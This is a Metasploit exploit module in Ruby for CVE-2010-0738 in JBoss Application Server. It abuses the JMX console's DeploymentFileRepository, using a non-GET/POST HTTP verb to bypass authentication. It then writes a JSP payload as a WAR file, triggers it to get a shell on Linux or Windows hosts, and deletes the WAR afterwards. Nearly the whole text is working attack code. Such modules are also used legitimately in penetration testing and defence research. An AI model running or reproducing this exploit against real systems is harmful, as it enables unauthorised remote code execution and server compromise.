JBoss – Java Class DeploymentFileRepository WAR Deployment (Metasploit)
## # $Id: jboss_deploymentfilerepository.rb 9950 2010-08-03 15:14:34Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss Java Class DeploymentFileRepository WAR deployment', 'Description' => %q{ This module uses the DeploymentFileRepository class in JBoss Application Server (jbossas) to deploy a JSP file in a minimal WAR context. }, 'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9950 $', 'References' => [ [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ] ], 'Privileged' => false, 'Platform' => ['linux', 'windows' ], 'Targets' => [ [ 'Universal', { 'Arch' => ARCH_JAVA, 'Payload' => { 'DisableNops' => true, }, } ], ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), OptString.new('VERB', [ true, "The HTTP verb to use", "POST"]), ], self.class) end def exploit jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8)) p = payload if datastore['SHELL'] == 'automatic' if not (plat = detect_platform()) raise RuntimeError, 'Unable to detect platform!' end case plat when 'linux' datastore['SHELL'] = '/bin/sh' when 'win' datastore['SHELL'] = 'cmd.exe' end print_status("SHELL set to #{datastore['SHELL']}") return if ((p = exploit_regenerate_payload(plat, target_arch)) == nil) end # # UPLOAD # data = 'action=invokeOpByName' data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' data << '&methodName=store' data << '&argType=java.lang.String' data << '&arg0=' + Rex::Text.uri_encode(app_base) + '.war' data << '&argType=java.lang.String' data << '&arg1=' + jsp_name data << '&argType=java.lang.String' data << '&arg2=.jsp' data << '&argType=java.lang.String' data << '&arg3=' + Rex::Text.uri_encode(p.encoded) data << '&argType=boolean' data << '&arg4=True' if (datastore['VERB'] == "POST") res = send_request_cgi( { 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { 'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data, 'method' => datastore['VERB'], }, 5) end # # EXECUTE # # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), # but the file still gets written. if (res.code == 200 || res.code == 500) uri = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Triggering payload at '#{uri}'...") verb = 'GET' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') verb = 'HEAD' end # JBoss might need some time for the deployment. Try 5 times at most # and sleep 3 seconds in between. 5.times do res = send_request_raw( { 'uri' => uri, 'method' => verb, }) if !res print_error("Execution failed on '#{uri}' [No Response], retrying...") select(nil,nil,nil,3) elsif (res.code < 200 or res.code >= 300) print_error("Execution failed on '#{uri}' [#{res.code} #{res.message}], retrying...") select(nil,nil,nil,3) elsif res.code == 200 print_status("Successfully triggered payload at '#{uri}'.") break else print_error("Denied...") end end # # DELETE # # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. print_status("Undeploying #{uri} by deleting the WAR file via DeploymentFileRepository.remove()...") res1 = delete_file(Rex::Text.uri_encode(app_base) + '.war', jsp_name, '.jsp') res2 = delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '') [res1, res2].each do |res| if !res print_error("WARNING: Unable to remove WAR [No Response]") end if (res.code < 200 || res.code >= 300) print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end end handler end end # Delete a file with DeploymentFileRepository.remove(). def delete_file(folder, name, ext) data = 'action=invokeOpByName' data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' data << '&methodName=remove' data << '&argType=java.lang.String' data << '&arg0=' + folder data << '&argType=java.lang.String' data << '&arg1=' + name data << '&argType=java.lang.String' data << '&arg2=' + ext if (datastore['VERB'] == "POST") res = send_request_cgi( { 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { 'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data, 'method' => datastore['VERB'], }, 5) end res end def detect_platform print_status("Attempting to automatically detect the platform...") path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path, }, 20) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m) os = $1 if (os =~ /Linux/i) return 'linux' elsif (os =~ /Windows/i) return 'win' end end nil end end |